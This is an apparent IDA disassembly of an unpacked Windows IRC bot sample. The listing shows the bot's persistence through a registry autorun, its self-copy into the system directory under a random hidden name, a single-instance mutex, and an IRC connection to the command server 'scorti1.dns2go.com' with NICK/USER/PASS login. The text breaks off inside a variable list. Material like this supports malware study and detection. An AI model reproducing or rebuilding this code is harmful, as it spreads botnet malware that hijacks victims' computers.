;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 6B16FF7747E8E2F9A3F5F0AABEA8B394
; File Name : u:\work\6b16ff7747e8e2f9a3f5f0aabea8b394_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 00025B34 ( 154420.)
; Section size in file : 00025B34 ( 154420.)
; Offset to raw data for section: 00001000
; Flags 60000020: Text Executable Readable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Execute
_text segment para public 'CODE' use32
assume cs:_text
;org 401000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401000 proc near ; CODE XREF: sub_401221+358p
; sub_4188A6+1Ep
; DATA XREF: ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
loc_401005: ; DATA XREF: start+1Co
push esi
push edi
mov edi, offset dword_429050
xor esi, esi
mov ebx, offset aWindosSeresAgn ; "Windos Seres Agnts"
loc_401013: ; CODE XREF: sub_401000+69j
lea eax, [ebp+var_4]
push esi
push eax
push esi
push 0F003Fh
push esi
push esi
push esi
push dword ptr [edi+4]
push dword ptr [edi]
call dword_4CB988 ; RegCreateKeyExA
cmp [ebp+arg_0], esi
jz short loc_40104D
push [ebp+arg_0]
call sub_41B9C0
pop ecx
push eax
push [ebp+arg_0]
push 1
push esi
push ebx
push [ebp+var_4]
call dword_4CB9F8 ; RegSetValueExA
jmp short loc_401057
; ---------------------------------------------------------------------------
loc_40104D: ; CODE XREF: sub_401000+2Fj
push ebx
push [ebp+var_4]
call dword_4CB938 ; RegDeleteValueA
loc_401057: ; CODE XREF: sub_401000+4Bj
push [ebp+var_4]
call dword_4CB9B0 ; RegCloseKey
add edi, 8
cmp edi, offset dword_429068
jb short loc_401013
pop edi
pop esi
pop ebx
leave
retn
sub_401000 endp
; =============== S U B R O U T I N E =======================================
sub_401070 proc near ; CODE XREF: sub_4010AB+56p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
push esi
or esi, 0FFFFFFFFh
test eax, eax
jz short loc_4010A5
push ebx
push edi
lea edi, [eax]
mov ecx, 0FFh
loc_401089: ; CODE XREF: sub_401070+31j
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, ds:dword_427220[eax*4]
xor esi, eax
inc edx
dec edi
jnz short loc_401089
pop edi
pop ebx
loc_4010A5: ; CODE XREF: sub_401070+Ej
mov eax, esi
pop esi
not eax
retn
sub_401070 endp
; =============== S U B R O U T I N E =======================================
sub_4010AB proc near ; CODE XREF: sub_4167A0+24Ap
var_10 = dword ptr -10h
arg_0 = dword ptr 4
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call sub_41BEB5
mov [esp+10h+var_10], offset dword_429068
push [esp+10h+arg_0]
mov esi, eax
call sub_41BEA2
mov edi, eax
pop ecx
test edi, edi
pop ecx
jz short loc_4010FA
loc_4010D0: ; CODE XREF: sub_4010AB+4Dj
test byte ptr [edi+0Ch], 10h
jnz short loc_4010FE
inc ebx
push ebx
push esi
call sub_41BBE2
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_4010FA
push edi
push 1
lea eax, [esi+ebx-1]
push 1
push eax
call sub_41BAFA
add esp, 10h
jmp short loc_4010D0
; ---------------------------------------------------------------------------
loc_4010FA: ; CODE XREF: sub_4010AB+23j
; sub_4010AB+39j
xor eax, eax
jmp short loc_401119
; ---------------------------------------------------------------------------
loc_4010FE: ; CODE XREF: sub_4010AB+29j
dec ebx
push ebx
push esi
call sub_401070
push esi
mov ebx, eax
call sub_41BA91
push edi
call sub_41BA3B
add esp, 10h
mov eax, ebx
loc_401119: ; CODE XREF: sub_4010AB+51j
pop edi
pop esi
pop ebx
retn
sub_4010AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40111D proc near ; DATA XREF: sub_401221+14o
var_268 = dword ptr -268h
var_25C = byte ptr -25Ch
var_158 = byte ptr -158h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_28 = dword ptr -28h
var_24 = word ptr -24h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push dword_43E91C
call dword_4CBA6C ; closesocket
call sub_40B583
call dword_4CB92C ; WSACleanup
call dword_4CB92C ; WSACleanup
mov ebx, ds:dword_427080
push 64h
call ebx ; Sleep
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41BF70
push 44h
lea eax, [ebp+var_54]
pop esi
push esi
push edi
push eax
call sub_41BF70
add esp, 18h
mov [ebp+var_54], esi
mov esi, 104h
lea eax, [ebp+var_25C]
push esi
push eax
mov [ebp+var_48], offset byte_43DB88
mov [ebp+var_28], 1
mov [ebp+var_24], di
call ds:dword_42707C ; GetSystemDirectoryA
lea eax, [ebp+var_158]
push esi
push eax
push edi
call ds:dword_427078 ; GetModuleFileNameA
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_25C]
push eax
push edi
push 28h
push 1
push edi
lea eax, [ebp+var_158]
push edi
push eax
push edi
call ds:dword_427074 ; CreateProcessA
test eax, eax
jz short loc_4011E2
push 64h
call ebx ; Sleep
push [ebp+var_10]
mov esi, ds:dword_427070
call esi ; CloseHandle
push [ebp+var_C]
call esi ; CloseHandle
loc_4011E2: ; CODE XREF: sub_40111D+AFj
; DATA XREF: sub_4DE2D7+101r
mov eax, [ebp+arg_8]
mov dword ptr [eax+0B0h], offset dword_43DB80
mov eax, [esp+268h+var_268]
mov large fs:0, eax
add esp, 8
push edi
call ds:dword_42706C ; ExitProcess
pop edi
pop esi
pop ebx
loc_401205: ; DATA XREF: .data:00429004o
jmp $+5
push 0FFFFh
push 539h
call sub_418BD1
pop ecx
mov dword_4CB710, eax
pop ecx
retn
sub_40111D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401221 proc near ; CODE XREF: .text:0041E29Cp
var_988 = byte ptr -988h
var_884 = byte ptr -884h
var_883 = byte ptr -883h
var_6F4 = byte ptr -6F4h
var_5F4 = byte ptr -5F4h
var_4F0 = byte ptr -4F0h
var_3F0 = byte ptr -3F0h
var_2EC = byte ptr -2ECh
var_1E8 = byte ptr -1E8h
var_E4 = dword ptr -0E4h
var_D8 = dword ptr -0D8h
var_B8 = dword ptr -0B8h
var_B4 = word ptr -0B4h
var_A0 = byte ptr -0A0h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 988h
push ebx
xor ebx, ebx
push esi
push edi
mov [ebp+var_8], ebx
mov [ebp+var_C], ebx
mov [ebp+var_4], offset sub_40111D
push [ebp+var_4]
push large dword ptr fs:0
mov large fs:0, esp
mov esi, ds:dword_4270B0
call esi ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov dword_4CB714, eax
call esi ; GetTickCount
push eax
call sub_41C2B8
pop ecx
call sub_409909
push 2
call dword_4CBA80 ; SetErrorMode
push 7530h
push offset aSbrti ; "sbrti"
push ebx
push ebx
call ds:dword_4270AC ; CreateMutexA
push eax
call ds:dword_4270A8 ; WaitForSingleObject
cmp eax, 102h
jnz short loc_4012A1
push 1
call ds:dword_42706C ; ExitProcess
loc_4012A1: ; CODE XREF: sub_401221+76j
lea eax, [ebp+var_884]
push eax
push 202h
call dword_4CB944 ; WSAStartup
cmp eax, ebx
jnz loc_4017E4
cmp [ebp+var_884], 2
jnz loc_4017DE
xor eax, eax
mov al, [ebp+var_883]
cmp al, 2
jnz loc_4017DE
mov esi, 104h
lea eax, [ebp+var_3F0]
push esi
push eax
call ds:dword_42707C ; GetSystemDirectoryA
lea eax, [ebp+var_2EC]
push esi
push eax
push ebx
call ds:dword_4270A4 ; GetModuleHandleA
push eax
call ds:dword_427078 ; GetModuleFileNameA
lea eax, [ebp+var_4F0]
push eax
lea eax, [ebp+var_6F4]
push eax
push ebx
lea eax, [ebp+var_2EC]
push ebx
push eax
call sub_41C3B1
add esp, 14h
lea eax, [ebp+var_4F0]
push eax
lea eax, [ebp+var_6F4]
push eax
push offset aSS ; "%s%s"
lea eax, [ebp+var_5F4]
push esi
push eax
call sub_41C360
lea eax, [ebp+var_3F0]
push eax
lea eax, [ebp+var_2EC]
push eax
loc_40134E: ; DATA XREF: sub_4DE2D7+26Fr
call sub_41C2E0
add esp, 1Ch
test eax, eax
jnz loc_401516
cmp dword_42908C, ebx
mov esi, offset aQunapfgq_exe ; "qunapfgq.exe"
jz short loc_40139C
push esi
xor edi, edi
call sub_41B9C0
sub eax, 4
pop ecx
jz short loc_40139C
loc_401379: ; CODE XREF: sub_401221+179j
call sub_41C2C2
push 1Ah
cdq
pop ecx
idiv ecx
push esi
add dl, 61h
mov byte ptr aQunapfgq_exe[edi], dl ; "qunapfgq.exe"
inc edi
call sub_41B9C0
sub eax, 4
pop ecx
cmp edi, eax
jb short loc_401379
loc_40139C: ; CODE XREF: sub_401221+148j
; sub_401221+156j
lea eax, [ebp+var_3F0]
push esi
push eax
lea eax, [ebp+var_1E8]
push offset aSS_0 ; "%s\\%s"
push eax
call sub_41C266
add esp, 10h
lea eax, [ebp+var_1E8]
push eax
call ds:dword_4270A0 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_4013DC
lea eax, [ebp+var_1E8]
push 80h
push eax
call ds:dword_42709C ; SetFileAttributesA
loc_4013DC: ; CODE XREF: sub_401221+1A7j
mov esi, ds:dword_427098
lea eax, [ebp+var_1E8]
push ebx
push eax
lea eax, [ebp+var_2EC]
xor edi, edi
push eax
loc_4013F3: ; CODE XREF: sub_401221+209j
call esi ; CopyFileA
test eax, eax
jnz short loc_40142C
call ds:dword_427094 ; RtlGetLastWin32Error
cmp edi, ebx
jnz short loc_40142C
cmp eax, 20h
jz short loc_40140D
cmp eax, 5
jnz short loc_40142C
loc_40140D: ; CODE XREF: sub_401221+1E5j
push 1
pop edi
push 3A98h
call ds:dword_427080 ; Sleep
lea eax, [ebp+var_1E8]
push ebx
push eax
lea eax, [ebp+var_2EC]
push eax
jmp short loc_4013F3
; ---------------------------------------------------------------------------
loc_40142C: ; CODE XREF: sub_401221+1D6j
; sub_401221+1E0j ...
lea eax, [ebp+var_1E8]
push eax
call sub_4187E0
pop ecx
lea eax, [ebp+var_1E8]
push 7
push eax
call ds:dword_42709C ; SetFileAttributesA
push 10h
lea eax, [ebp+var_20]
push ebx
push eax
call sub_41BF70
push 44h
lea eax, [ebp+var_E4]
pop esi
push esi
push ebx
push eax
call sub_41BF70
add esp, 18h
mov [ebp+var_E4], esi
mov [ebp+var_D8], offset byte_43DB88
mov [ebp+var_B4], bx
push 1
pop esi
mov [ebp+var_B8], esi
loc_401488: ; DATA XREF: sub_4DE2D7+8Cw
; .sxdata:004DEA53r
call ds:dword_427090 ; GetCurrentProcessId
push eax
push esi
push 100000h
loc_401495: ; DATA XREF: .data:off_433094o
call ds:dword_42708C ; OpenProcess
lea ecx, [ebp+var_2EC]
push ecx
push eax
lea eax, [ebp+var_1E8]
loc_4014A9: ; DATA XREF: sub_4DE2D7+A1r
push eax
lea eax, [ebp+var_988]
push offset aSDS ; "%s %d \"%s\""
push eax
call sub_41C266
add esp, 14h
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_E4]
push eax
lea eax, [ebp+var_3F0]
push eax
push ebx
push 28h
push esi
push ebx
lea eax, [ebp+var_988]
push ebx
push eax
lea eax, [ebp+var_1E8]
push eax
call ds:dword_427074 ; CreateProcessA
test eax, eax
jz short loc_401516
push 0C8h
call ds:dword_427080 ; Sleep
push [ebp+var_20]
mov esi, ds:dword_427070
call esi ; CloseHandle
push [ebp+var_1C]
call esi ; CloseHandle
call dword_4CB92C ; WSACleanup
push ebx
call ds:dword_42706C ; ExitProcess
loc_401516: ; CODE XREF: sub_401221+137j
; sub_401221+2CBj
cmp dword_4DBDF8, 2
jle short loc_401562
mov eax, dword_4DBDFC
push dword ptr [eax+4]
call sub_41C159
pop ecx
mov esi, eax
push 0FFFFFFFFh
push esi
call ds:dword_4270A8 ; WaitForSingleObject
push esi
call ds:dword_427070 ; CloseHandle
mov eax, dword_4DBDFC
cmp [eax+8], ebx
jz short loc_401562
push 7D0h
call ds:dword_427080 ; Sleep
mov eax, dword_4DBDFC
push dword ptr [eax+8]
call ds:dword_427088 ; DeleteFileA
loc_401562: ; CODE XREF: sub_401221+2FCj
; sub_401221+326j
cmp dword_429090, ebx
jz short loc_40157F
cmp dword_4CBAA4, ebx
jnz short loc_40157F
lea eax, [ebp+var_5F4]
push eax
call sub_401000
pop ecx
loc_40157F: ; CODE XREF: sub_401221+347j
; sub_401221+34Fj
lea eax, [ebp+var_A0]
push offset dword_429A98
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_40B3BA
lea eax, [ebp+var_A0]
push eax
call sub_415D38
push 0B80h
push ebx
push offset dword_43DB90
call sub_41BF70
add esp, 24h
lea eax, [ebp+var_A0]
push offset unk_429A74
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_A0]
push 1
push eax
call sub_40B3BA
add esp, 14h
mov esi, eax
mov edi, ds:dword_427084
lea eax, [ebp+var_8]
push eax
push ebx
push ebx
push offset sub_419F4D
push ebx
push ebx
call edi ; CreateThread
imul esi, 234h
cmp eax, ebx
mov dword_43E924[esi], eax
jnz short loc_401622
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_A0]
push offset unk_429A34
push eax
call sub_41C266
add esp, 0Ch
loc_401622: ; CODE XREF: sub_401221+3E4j
lea eax, [ebp+var_A0]
push eax
call sub_415D38
push 2
call sub_40B602
pop ecx
test eax, eax
pop ecx
jnz short loc_4016A7
lea eax, [ebp+var_A0]
push offset dword_429A08
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_40B3BA
add esp, 14h
mov esi, eax
lea eax, [ebp+var_8]
push eax
push ebx
push esi
push offset sub_410BFD
push ebx
push ebx
call edi ; CreateThread
imul esi, 234h
cmp eax, ebx
mov dword_43E924[esi], eax
jnz short loc_40169A
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_A0]
push offset dword_4299D4
push eax
call sub_41C266
add esp, 0Ch
loc_40169A: ; CODE XREF: sub_401221+45Cj
lea eax, [ebp+var_A0]
push eax
call sub_415D38
pop ecx
loc_4016A7: ; CODE XREF: sub_401221+418j
call sub_41C2C2
push 7Fh
and eax, 3
push offset aScorti1_dns2go ; "scorti1.dns2go.com"
push offset dword_4CB71C
mov dword_4CB888, eax
call sub_41BFD0
mov eax, dword_42906C
push 3Fh
mov edi, offset dword_4CB79C
push offset aFaak ; "#FAAK#"
push edi
mov dword_4CB86C, eax
call sub_41BFD0
push 3Fh
mov esi, offset dword_4CB7DC
push offset aSaad_ ; "saad."
push esi
call sub_41BFD0
add esp, 24h
mov dword_4CB870, ebx
loc_4016FC: ; CODE XREF: sub_401221+563j
; sub_401221+56Ej ...
mov [ebp+var_4], ebx
loc_4016FF: ; CODE XREF: sub_401221+517j
push offset dword_4CB718
mov dword_4CB884, ebx
call sub_4017ED
cmp eax, 2
mov [ebp+var_10], eax
jz loc_4017D9
cmp dword_4CB884, ebx
jz short loc_401726
dec [ebp+var_4]
loc_401726: ; CODE XREF: sub_401221+500j
push 0BB8h
call ds:dword_427080 ; Sleep
inc [ebp+var_4]
cmp [ebp+var_4], 6
jl short loc_4016FF
cmp [ebp+var_10], 2
jz loc_4017D9
cmp [ebp+var_C], ebx
jz short loc_401789
push 7Fh
push offset aScorti1_dns2go ; "scorti1.dns2go.com"
push offset dword_4CB71C
call sub_41BFD0
mov eax, dword_42906C
push 3Fh
push offset aFaak ; "#FAAK#"
push edi
mov dword_4CB86C, eax
call sub_41BFD0
push 3Fh
push offset aSaad_ ; "saad."
push esi
call sub_41BFD0
add esp, 24h
mov [ebp+var_C], ebx
jmp loc_4016FC
; ---------------------------------------------------------------------------
loc_401789: ; CODE XREF: sub_401221+526j
; DATA XREF: .sxdata:004DE550o
cmp byte_4290E4, bl
jz loc_4016FC
push 7Fh
push offset byte_4290E4
push offset dword_4CB71C
call sub_41BFD0
mov eax, dword_429070
push 3Fh
push offset aFaak_0 ; "#FAAK#"
push edi
mov dword_4CB86C, eax
call sub_41BFD0
push 3Fh
push offset aSaad__0 ; "saad."
push esi
call sub_41BFD0
add esp, 24h
mov [ebp+var_C], 1
jmp loc_4016FC
; ---------------------------------------------------------------------------
loc_4017D9: ; CODE XREF: sub_401221+4F4j
; sub_401221+51Dj
call sub_40B583
loc_4017DE: ; CODE XREF: sub_401221+A1j
; sub_401221+B1j
call dword_4CB92C ; WSACleanup
loc_4017E4: ; CODE XREF: sub_401221+94j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
sub_401221 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4017ED proc near ; CODE XREF: sub_401221+4E9p
; DATA XREF: sub_401ACD+654Co
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 190h
mov eax, [ebp+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+var_190]
rep movsd
mov dword ptr [eax+160h], 1
loc_401812: ; CODE XREF: sub_4017ED+E6j
; sub_4017ED+136j ...
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_3C]
call dword_4CB9D4 ; htons
mov [ebp+var_E], ax
lea eax, [ebp+var_18C]
push eax
call sub_40A8F0
test eax, eax
pop ecx
mov [ebp+var_C], eax
jz loc_40193F
push 1Ch
lea eax, [ebp+var_2C]
push 0
push eax
call sub_41BF70
push 0
lea eax, [ebp+var_2C]
push dword_4290A0
push dword_42909C
push eax
call sub_40AE84
mov edi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 1Bh
add eax, offset byte_43E928
push edi
push eax
call sub_41BFD0
add esp, 28h
push 6
push 1
push 2
call dword_4CBA54 ; socket
mov esi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 10h
mov dword_43E91C[eax], esi
lea eax, [ebp+var_10]
push eax
push esi
call dword_4CB97C ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_4018D8
push esi
call dword_4CBA6C ; closesocket
call sub_40A919
push 7D0h
loc_4018CD: ; CODE XREF: sub_4017ED+146j
call ds:dword_427080 ; Sleep
jmp loc_401812
; ---------------------------------------------------------------------------
loc_4018D8: ; CODE XREF: sub_4017ED+CDj
lea eax, [ebp+var_18C]
push eax
push offset unk_429AD0
call sub_415DAC
push [ebp+var_38]
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_CC]
push [ebp+var_190]
push edi
push eax
lea eax, [ebp+var_10C]
push eax
push esi
call sub_401955
add esp, 28h
mov edi, eax
push esi
call dword_4CBA6C ; closesocket
test edi, edi
jz loc_401812
cmp edi, 1
jnz short loc_401935
push 0DBBA0h
jmp short loc_4018CD
; ---------------------------------------------------------------------------
loc_401935: ; CODE XREF: sub_4017ED+13Fj
cmp edi, 2
jz short loc_401943
jmp loc_401812
; ---------------------------------------------------------------------------
loc_40193F: ; CODE XREF: sub_4017ED+5Aj
xor eax, eax
jmp short loc_40194F
; ---------------------------------------------------------------------------
loc_401943: ; CODE XREF: sub_4017ED+14Bj
push [ebp+var_34]
call sub_40B6D6
pop ecx
push 2
pop eax
loc_40194F: ; CODE XREF: sub_4017ED+154j
pop edi
pop esi
leave
retn 4
sub_4017ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401955 proc near ; CODE XREF: sub_4017ED+123p
var_1A90 = byte ptr -1A90h
var_A90 = byte ptr -0A90h
var_2C0 = byte ptr -2C0h
var_140 = byte ptr -140h
var_A0 = byte ptr -0A0h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1A90h
call sub_41C500
push ebx
push esi
push edi
xor ebx, ebx
push 3
mov [ebp+var_8], ebx
lea eax, [ebp+var_2C0]
pop ecx
loc_401973: ; CODE XREF: sub_401955+26j
mov [eax], bl
add eax, 80h
dec ecx
jnz short loc_401973
cmp byte_4CB880, bl
jz short loc_40199A
push offset byte_4CB880
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0]
loc_401992: ; DATA XREF: .sxdata:004DED8Dr
call sub_409823
add esp, 0Ch
loc_40199A: ; CODE XREF: sub_401955+2Ej
push [ebp+arg_C]
lea eax, [ebp+var_20]
push ebx
push ebx
push 2
push eax
call sub_40AE84
add esp, 10h
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_C]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax
call sub_41C266
add esp, 14h
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_401A04
push [ebp+arg_0]
call dword_4CBA6C ; closesocket
push 1388h
call ds:dword_427080 ; Sleep
loc_4019FD: ; CODE XREF: sub_401955+D9j
; sub_401955+153j
xor eax, eax
loc_4019FF: ; CODE XREF: sub_401955+173j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401A04: ; CODE XREF: sub_401955+92j
; sub_401955+F8j ...
mov esi, 1000h
lea eax, [ebp+var_1A90]
push esi
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_1A90]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_4CB9EC ; recv
test eax, eax
jle short loc_4019FD
lea eax, [ebp+var_A90]
push eax
lea eax, [ebp+var_1A90]
push eax
call sub_4184CC
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
mov [ebp+var_4], ebx
jle short loc_401A04
lea edi, [ebp+var_A90]
loc_401A55: ; CODE XREF: sub_401955+165j
push 1
pop esi
loc_401A58: ; CODE XREF: sub_401955+144j
push [ebp+arg_1C]
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_140]
push eax
lea eax, [ebp+var_2C0]
push eax
push [ebp+arg_18]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push dword ptr [edi]
call sub_401ACD
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_401A9B
push 7D0h
call ds:dword_427080 ; Sleep
jmp short loc_401A58
; ---------------------------------------------------------------------------
loc_401A9B: ; CODE XREF: sub_401955+137j
cmp esi, 0FFFFFFFDh
jz short loc_401AC5
cmp esi, 0FFFFFFFEh
jz short loc_401AC1
cmp esi, 0FFFFFFFFh
jz loc_4019FD
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jl short loc_401A55
jmp loc_401A04
; ---------------------------------------------------------------------------
loc_401AC1: ; CODE XREF: sub_401955+14Ej
push 1
jmp short loc_401AC7
; ---------------------------------------------------------------------------
loc_401AC5: ; CODE XREF: sub_401955+149j
push 2
loc_401AC7: ; CODE XREF: sub_401955+16Ej
pop eax
jmp loc_4019FF
sub_401955 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401ACD proc near ; CODE XREF: sub_401955+12Ap
var_568C = byte ptr -568Ch
var_528C = byte ptr -528Ch
var_50FC = byte ptr -50FCh
var_4FF8 = byte ptr -4FF8h
var_4EF8 = byte ptr -4EF8h
var_4CF8 = byte ptr -4CF8h
var_4BF8 = byte ptr -4BF8h
var_4AF4 = byte ptr -4AF4h
var_49F4 = byte ptr -49F4h
var_48F0 = byte ptr -48F0h
var_47F0 = byte ptr -47F0h
var_46F0 = byte ptr -46F0h
var_45F0 = byte ptr -45F0h
var_458C = byte ptr -458Ch
var_448C = byte ptr -448Ch
var_438C = byte ptr -438Ch
var_428C = byte ptr -428Ch
var_408C = byte ptr -408Ch
var_3F8C = dword ptr -3F8Ch
var_3F88 = byte ptr -3F88h
var_3F08 = byte ptr -3F08h
var_3E04 = byte ptr -3E04h
var_3D00 = dword ptr -3D00h
var_3CFC = dword ptr -3CFCh
var_3CF8 = dword ptr -3CF8h
var_3CF4 = dword ptr -3CF4h
var_3CF0 = dword ptr -3CF0h
var_3CEC = dword ptr -3CECh
var_3CE8 = byte ptr -3CE8h
var_3C68 = byte ptr -3C68h
var_3BE8 = byte ptr -3BE8h
var_3B68 = byte ptr -3B68h
var_3AE8 = byte ptr -3AE8h
var_3A68 = dword ptr -3A68h
var_3A64 = dword ptr -3A64h
var_3A60 = dword ptr -3A60h
var_3A5C = dword ptr -3A5Ch
var_3A58 = byte ptr -3A58h
var_37D1 = byte ptr -37D1h
var_37D0 = byte ptr -37D0h
var_36CC = dword ptr -36CCh
var_36C4 = dword ptr -36C4h
var_36C0 = dword ptr -36C0h
var_36BC = dword ptr -36BCh
var_36B8 = dword ptr -36B8h
var_36B0 = dword ptr -36B0h
var_36AC = dword ptr -36ACh
var_36A8 = byte ptr -36A8h
var_3628 = byte ptr -3628h
var_35A8 = byte ptr -35A8h
var_3528 = byte ptr -3528h
var_34A8 = dword ptr -34A8h
var_34A4 = dword ptr -34A4h
var_34A0 = dword ptr -34A0h
var_349C = dword ptr -349Ch
var_3498 = dword ptr -3498h
var_3494 = byte ptr -3494h
var_3414 = byte ptr -3414h
var_3394 = byte ptr -3394h
var_3314 = byte ptr -3314h
var_3294 = dword ptr -3294h
var_3290 = dword ptr -3290h
var_328C = dword ptr -328Ch
var_3288 = dword ptr -3288h
var_3284 = dword ptr -3284h
var_3280 = byte ptr -3280h
var_3200 = byte ptr -3200h
var_3180 = byte ptr -3180h
var_3100 = byte ptr -3100h
var_3080 = dword ptr -3080h
var_307C = dword ptr -307Ch
var_3078 = dword ptr -3078h
var_3074 = dword ptr -3074h
var_3070 = dword ptr -3070h
var_306C = byte ptr -306Ch
var_2FEC = byte ptr -2FECh
var_2F6C = byte ptr -2F6Ch
var_2EEC = byte ptr -2EECh
var_2E6C = dword ptr -2E6Ch
var_2E68 = dword ptr -2E68h
var_2E64 = dword ptr -2E64h
var_2E60 = dword ptr -2E60h
var_2E5C = byte ptr -2E5Ch
var_2D58 = dword ptr -2D58h
var_2D54 = byte ptr -2D54h
var_2C50 = byte ptr -2C50h
var_2B4C = dword ptr -2B4Ch
var_2B48 = dword ptr -2B48h
var_2B44 = dword ptr -2B44h
var_2B40 = byte ptr -2B40h
var_2AC0 = dword ptr -2AC0h
var_2ABC = dword ptr -2ABCh
var_2AB8 = dword ptr -2AB8h
var_2AB4 = dword ptr -2AB4h
var_2AAC = byte ptr -2AACh
var_2994 = byte ptr -2994h
var_2914 = dword ptr -2914h
var_2910 = dword ptr -2910h
var_290C = dword ptr -290Ch
var_2908 = dword ptr -2908h
var_2904 = dword ptr -2904h
var_2900 = dword ptr -2900h
var_28FC = byte ptr -28FCh
var_287C = byte ptr -287Ch
var_277C = byte ptr -277Ch
var_267C = dword ptr -267Ch
var_2678 = dword ptr -2678h
var_2674 = dword ptr -2674h
var_2670 = dword ptr -2670h
var_266C = dword ptr -266Ch
var_2668 = dword ptr -2668h
var_2664 = dword ptr -2664h
var_2660 = dword ptr -2660h
var_265C = dword ptr -265Ch
var_2658 = dword ptr -2658h
var_2654 = byte ptr -2654h
var_25D4 = byte ptr -25D4h
var_24D4 = byte ptr -24D4h
var_23D4 = dword ptr -23D4h
var_23D0 = dword ptr -23D0h
var_23CC = dword ptr -23CCh
var_23C8 = dword ptr -23C8h
var_23C4 = dword ptr -23C4h
var_23C0 = dword ptr -23C0h
var_23BC = dword ptr -23BCh
var_23B8 = dword ptr -23B8h
var_23B4 = dword ptr -23B4h
var_23B0 = dword ptr -23B0h
var_23AC = byte ptr -23ACh
var_232C = byte ptr -232Ch
var_22AC = byte ptr -22ACh
var_222C = dword ptr -222Ch
var_2228 = dword ptr -2228h
var_2224 = dword ptr -2224h
var_2220 = dword ptr -2220h
var_221C = dword ptr -221Ch
var_2218 = byte ptr -2218h
var_2198 = byte ptr -2198h
